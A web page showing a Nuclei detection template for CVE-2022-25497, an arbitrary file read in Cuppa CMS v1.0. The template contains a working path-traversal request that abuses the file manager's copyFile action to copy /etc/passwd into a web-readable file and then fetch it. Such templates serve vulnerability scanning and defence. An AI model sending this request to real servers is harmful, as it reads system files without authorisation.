Skip to content

Cuppa CMS v1.0 - Local File Inclusion

ID: CVE-2022-25497

Severity: medium

Author: theamanrawat

Tags: cve,cve2022,lfi,cuppa,intrusive,cuppacms

CuppaCMS v1.0 was discovered to contain an arbitrary file read via the copy function.

id: CVE-2022-25497
info:
name: Cuppa CMS v1.0 - Local File Inclusion
author: theamanrawat
severity: medium
description: |
CuppaCMS v1.0 was discovered to contain an arbitrary file read via the copy function.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
remediation: |
Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the LFI vulnerability.
reference:
- https://github.com/CuppaCMS/CuppaCMS
- https://nvd.nist.gov/vuln/detail/CVE-2022-25497
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2022-25497
cwe-id: CWE-552
epss-score: 0.00508
epss-percentile: 0.7649
cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: cuppacms
product: cuppacms
tags: cve,cve2022,lfi,cuppa,intrusive,cuppacms
http:
- raw:
- |
POST /js/filemanager/api/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"from":"//../../../../../../../../../../../../../etc/passwd","to":"/../{{randstr}}.txt","action":"copyFile"}
- |
GET /{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: header_2
words:
- text/plain
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100889fa7574f32f7fc76d968911af7a53f368d9a023c8af9f72a906ea2f0044754022065c410aa50988dc703da19533a73bb3940b39e9d78cd2525835b45c1298684ac:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-25497.yaml"

View on Github